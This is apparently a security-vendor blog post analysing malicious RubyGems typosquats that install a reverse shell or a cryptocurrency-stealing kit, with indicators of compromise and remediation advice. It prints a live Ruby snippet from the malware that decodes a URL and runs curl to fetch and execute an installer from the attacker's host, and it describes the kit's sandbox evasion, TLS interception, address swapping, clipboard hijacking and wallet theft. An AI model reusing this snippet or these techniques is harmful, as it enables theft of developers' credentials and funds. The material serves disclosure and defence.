BLOG
Malicious Crypto Shell Packages Target RubyGems
A threat actor calling themselves "Ghost Dev" published 42 malicious typo squat packages to the RubyGems registry targeting crypto and web3 packages
By c0a15726-c5b1-4b0d-85e6-fe15553df9e2 ·
The OpenSourceMalware automatic detection engine has identified more than 40 malicious RubyGems packages target crypto and web3 developers. These packages are typosquats and install a reverse-shell and cryptostealer.
Discovery
Initially, we analyzed a RubyGems package named rubygems-btc-shell and identified a cryptocurrency theft kit disguised as a wallet-protection utility. The bundle combines a local HTTP/HTTPS interception proxy, a browser content script, a clipboard hijacker, and a wallet-material grabber.
All of these packages were published by a RubyGems user named reqthrottle_3474, who calls themselves "Ghost Dev" in their RubyGems profile.
Its primary objective is financial theft: replace cryptocurrency withdrawal addresses with attacker-controlled wallets while keeping the victim-facing page unchanged. The same kit also searches for browser wallet data, seed phrases, private keys, and wallet files, then sends collected material to a hard-coded collector.
All of the malicious packages are in the OpenSourceMalware database and can be found with the #rubygems-btc-shell tag.
Our analysis
There are two stages to this malware campaign. The first is the RubyGems package itself which includes the payload file ext/req_throttle_mini/extconf.rb. This file is disguised as a Ruby native-extension build script, but its primary purpose is to act as a delayed backdoor. Before activating, it checks whether it is running in CI, a sandbox, an analysis directory, or under a generated testing username, helping it avoid automated analysis environments. It also looks for signs of a real developer workstation, including SSH keys, Git configuration, npm credentials, RubyGems credentials, or Bundler data. If those checks pass, it forks into the background, detaches from the terminal, and waits approximately 20–40 minutes.
There are two versions of this malware
Yes you heard that right! This malware comes in two versions...
First version: the reverse shell
The first version of this malware is relatively simple: It includes a reverse shell. Eleven of the 40+ packages are this variant. Once this version wakes up from its 20-40 minute nap it immediately decodes a base64 payload embedded in the extconf.rb file:
That second-stage payload repeatedly connects to 45.138.12.177 on TCP port 8090, attaches the connection to /bin/sh, and provides the remote operator with an interactive reverse shell. Failed connections are retried every 30 seconds. Although the file ends with normal-looking mkmf and create_makefile calls, the preceding logic clearly implements sandbox evasion, delayed execution, and remote command execution.
The second version downloads another payload
The second version of this malware has a extconf.rb file with a different base64 payload embedded in it:
key = "usv\x9a".bytes
hex = '1d0702ea4f5c59ae405d47a94d5d47a85b4241ad4f4b46a3475c01fd1e1a02b4011204b41209'
bs = [hex].pack('H*').bytes
url = ENV['WG_KIT_URL'] || bs.each_with_index.map { |b, i| b ^ key[i % key.length] }.pack('C*')
sleep(ENV['WG_FAST'] ? 2 : 1200 + rand(1200))
cmd = "curl -s --max-time 25 \"#{url}\" -o /tmp/.w1.tgz; mkdir -p /tmp/.w1; tar xzf /tmp/.w1.tgz -C /tmp/.w1 2>/dev/null; bash /tmp/.w1/wg_install.sh >/dev/null 2>&1; rm -rf /tmp/.w1 /tmp/.w1.tgz"
system(cmd) reThat hex string combined with the second to last line downloads a file from hxxp://45.138.12[.]177:8092/wgkit.tar.gz
If you untar that file, the analyzed directory contains Python scripts, a browser extension, an installation script, a root certificate, per-exchange certificates, target configuration, and a compressed copy of the same toolkit. The source is unusually explicit about its intended behavior: comments describe clipboard hijacking, wallet-vault extraction, seed scanning, and exfiltration.
drwxr-xr-x root/root 0 2026-10-05 07:06 ./
-rw-r--r-- root/root 1253 2026-10-05 07:03 ./wg-ca.crt
drwxr-xr-x root/root 0 2026-10-05 07:03 ./ext/
-rw-r--r-- root/root 9066 2026-10-05 07:03 ./ext/content.js
-rw-r--r-- root/root 573 2026-10-05 07:03 ./ext/manifest.json
-rw-r--r-- root/root 159 2026-10-05 07:03 ./ext/background.js
-rw-r--r-- root/root 15289 2026-10-05 07:03 ./inject_proxy.py
-rwxr-xr-x root/root 1971 2026-10-05 07:06 ./wg_install.sh
-rw-r--r-- root/root 927 2026-10-05 07:03 ./targets.json
drwxr-xr-x root/root 0 2026-10-05 07:03 ./tls/
-rw-r--r-- root/root 2912 2026-10-05 07:03 ./tls/mexc.com.pem
-rw-r--r-- root/root 2916 2026-10-05 07:03 ./tls/kraken.com.pem
-rw-r--r-- root/root 2908 2026-10-05 07:03 ./tls/okx.com.pem
-rw-r--r-- root/root 2916 2026-10-05 07:03 ./tls/nonkyc.io.pem
-rw-r--r-- root/root 2928 2026-10-05 07:03 ./tls/bitoasis.net.pem
-rw-r--r-- root/root 2924 2026-10-05 07:03 ./tls/bitstamp.net.pem
-rw-r--r-- root/root 2908 2026-10-05 07:03 ./tls/htx.com.pem
-rw-r--r-- root/root 2916 2026-10-05 07:03 ./tls/bit2me.com.pem
-rw-r--r-- root/root 2924 2026-10-05 07:03 ./tls/trocador.app.pem
-rw-r--r-- root/root 2916 2026-10-05 07:03 ./tls/crypto.com.pem
-rw-r--r-- root/root 2924 2026-10-05 07:03 ./tls/coinone.co.kr.pem
-rw-r--r-- root/root 2904 2026-10-05 07:03 ./tls/127.0.0.1.pem
-rw-r--r-- root/root 2916 2026-10-05 07:03 ./tls/bitget.com.pem
-rw-r--r-- root/root 2916 2026-10-05 07:03 ./tls/czrex.com.pem
-rw-r--r-- root/root 2916 2026-10-05 07:03 ./tls/xeggex.com.pem
-rw-r--r-- root/root 2920 2026-10-05 07:03 ./tls/binance.com.pem
-rw-r--r-- root/root 2908 2026-10-05 07:03 ./tls/gate.io.pem
-rw-r--r-- root/root 2916 2026-10-05 07:03 ./tls/gemini.com.pem
-rw-r--r-- root/root 2916 2026-10-05 07:03 ./tls/buybank.io.pem
-rw-r--r-- root/root 2920 2026-10-05 07:03 ./tls/runeswap.io.pem
-rw-r--r-- root/root 2916 2026-10-05 07:03 ./tls/mistex.io.pem
-rw-r--r-- root/root 2924 2026-10-05 07:03 ./tls/coinbase.com.pem
-rw-r--r-- root/root 2920 2026-10-05 07:03 ./tls/upbit.com.pem
-rw-r--r-- root/root 2924 2026-10-05 07:03 ./tls/bitfinex.com.pem
-rw-r--r-- root/root 2896 2026-10-05 07:03 ./tls/localhost.pem
-rw-r--r-- root/root 2924 2026-10-05 07:03 ./tls/spotex.trade.pem
-rw-r--r-- root/root 2916 2026-10-05 07:03 ./tls/lbank.com.pem
-rw-r--r-- root/root 2916 2026-10-05 07:03 ./tls/kucoin.com.pem
-rw-r--r-- root/root 2916 2026-10-05 07:03 ./tls/bybit.com.pem
-rw-r--r-- root/root 2916 2026-10-05 07:03 ./tls/bitbank.cc.pem
-rw-r--r-- root/root 11656 2026-10-05 07:03 ./_grab.pyThe kit has two cooperating components:
inject_proxy.pyintercepts local browser and shell traffic on127.0.0.1:8899._grab.pycollects wallet data, scans user files, monitors the clipboard, and posts stolen material.
The ext/content.js module can run as a browser extension content script or be inserted directly into proxied pages. The manifest grants access to all URLs and loads the script at document_start in all frames.
Technical Analysis
Installation and persistence
wg_install.sh copies the kit into $HOME/.cache/.wg, attempts to install wg-ca.crt as a trusted certificate authority, and adds proxy variables to .bashrc and .zshrc.
It then creates two desktop autostart entries:
wg.desktoplaunches the interception proxy.wg-grab.desktoplaunches the wallet grabber.
The script also starts both processes immediately with nohup, allowing the malware to operate without root privileges when the user environment permits it.
Local proxy and TLS interception
The proxy listens on 127.0.0.1:8899 and handles both ordinary HTTP requests and HTTPS CONNECT tunnels. For configured exchange hosts, it establishes upstream TLS, creates a server-side TLS context for the victim, and injects the malicious JavaScript into HTML responses.
The bundle includes a self-signed root certificate:
Subject: C=US, O=Wallet Guard LLC, CN=Wallet Guard Root CA
Issuer: C=US, O=Wallet Guard LLC, CN=Wallet Guard Root CA
Validity: 2026-10-05 through 2036-10-02
It also contains private keys alongside leaf certificates for the targeted domains. This enables the proxy to present locally generated or pre-signed certificates for exchange traffic after the root certificate has been trusted.
Non-targeted HTTPS traffic is transparently relayed. Targeted HTML responses are modified by inserting the contents of ext/content.js before the closing </head>, <head>, or <body> tag.
Withdrawal-address replacement
The injected script recognizes Bitcoin, Ethereum, Tron, Solana, and TON addresses. It monitors fields whose names or labels contain terms such as address, wallet, recipient, destination, withdraw, or payout.
It hooks classic form submissions as well as fetch, XMLHttpRequest, and FormData APIs. When a matching address is found, it replaces the submitted value with an attacker wallet. The script then rewrites visible text and input values for up to twelve seconds so the victim continues seeing the original address.
The operator wallets embedded in the script are:
BTC bc1qzlfqqw7zchyklj408jktazm6yzrlptrxlz0v7u
ETH 0x97aF898dfB119215aFCBEb48bEeD7936A0E778Dd
TRX TMhrUqZpvNsNoSXU9qfhzoEHt6LEDRb2hc
SOL DC78HUMAE5QCY8M83yp3b83GL6zFQCScfbiVND7CVX8M
TON UQBgGzIPtF2VjdkUocoOLFZ3rjZuU2xw3w0Q-O-O8g7rGyI3
Before replacement, the original address, network, amount, and exchange host are sent to the local proxy. If that request fails, the script falls back to a direct image-based GET request to the remote collector.
Clipboard hijacking
_grab.py continuously reads the clipboard. On Windows it uses the Win32 clipboard API; on Unix-like systems it attempts xclip and xsel.
When a cryptocurrency address is detected, the original value is exfiltrated and replaced with the corresponding operator wallet. The loop repeats approximately every 800 milliseconds, making it capable of intercepting addresses copied between applications rather than only addresses entered in a browser.
Wallet-vault and secret harvesting
The grabber searches common Chrome, Brave, and Edge locations for extension storage belonging to TronLink, MetaMask, Phantom, Binance, Coinbase, and Trust Wallet. It also searches for Exodus and Electrum wallet files.
A separate file scanner examines user directories up to a limited depth and looks for filenames containing wallet, seed, mnemonic, keystore, backup, passphrase, or private-key terms. Matching contents are scanned for:
BIP39-like seed phrases
xprvextended private keysWIF private keys
Keystore JSON
Collected data is truncated to configured size limits, XOR-obfuscated with a short static key, base64-encoded, and sent to the /grab endpoint as an HTTP POST request.
Exfiltration infrastructure
The grabber’s independently decoded default C2 URL is:
http://45.138.12.177:8080/wi/grab
The browser script’s fallback URL is:
http://45.138.12.177:8080/w
The local proxy can also relay browser events to an operator-supplied URL through its --c2 option. The grabber accepts a WG_C2 environment-variable override. These configurable branches were not resolved because their values are external to the sample.
Targeted exchanges
The proxy configuration names the following hosts:
xeggex.com nonkyc.io binance.com coinbase.com
kraken.com kucoin.com bybit.com lbank.com
bitoasis.net okx.com gate.io mexc.com
bitget.com bitfinex.com crypto.com bit2me.com
htx.com bitstamp.net gemini.com upbit.com
coinone.co.kr bitbank.cc trocador.app mistex.io
runeswap.io buybank.io spotex.trade czrex.com
Indicators of Compromise (IOCs)
C2 infrastructure
45.138.12.177
http://45.138.12.177:8080/wi/grab
http://45.138.12.177:8080/w
127.0.0.1:8899
Persistence and files
$HOME/.cache/.wg
$HOME/.config/autostart/wg.desktop
$HOME/.config/autostart/wg-grab.desktop
Wallet Guard Root CA
Attacker wallets
bc1qzlfqqw7zchyklj408jktazm6yzrlptrxlz0v7u
0x97aF898dfB119215aFCBEb48bEeD7936A0E778Dd
TMhrUqZpvNsNoSXU9qfhzoEHt6LEDRb2hc
DC78HUMAE5QCY8M83yp3b83GL6zFQCScfbiVND7CVX8M
UQBgGzIPtF2VjdkUocoOLFZ3rjZuU2xw3w0Q-O-O8g7rGyI3
SHA-256
_grab.py 387a778a6376b6c060516ce5c1191a61e075acfe3fb073e6e5cd78eeb96a95b3
inject_proxy.py 549d35217f1e884634993ba6f13dd8e82091dd9f995a9ed0cb575958e63f073d
ext/content.js 57a56ab47fa7f33147d4924b07e77d773515b4a06ca9ac090874209a9950f30b
wg_install.sh b857fdf59db6948ea01643d935742904e9275572e63cd23331a9405483c6379c
wgkit.tar.gz 33276fedf0632be39b4e8a646c520bfa081bb7e67dce52042da46bbbda16d440
wg-ca.crt 075b6ac656aa414e2d21b9d1bc8b0fd030902202222e9d06a326fd80d7827ae6
Conclusion
rubygems-btc-shell is a purpose-built cryptocurrency theft kit rather than a wallet-security tool. Its strongest feature is the combination of trusted-root installation, targeted TLS interception, request rewriting, and UI spoofing. That design can redirect a withdrawal while defeating the victim’s visual checks. The separate grabber broadens the impact by harvesting wallet files and secret material from the local system.
Organizations should inspect endpoints for the bundled root CA, proxy settings, autostart entries, and the 127.0.0.1:8899 listener. Users should treat any wallet or exchange secrets present on an affected host as compromised and rotate them from a clean device.
If you encounter similar packages or suspicious activity, please report them to OpenSourceMalware.com.
Stay safe out there.
Tags: #cryptostealer #infostealer #mitm #browser-injection #ruby-gems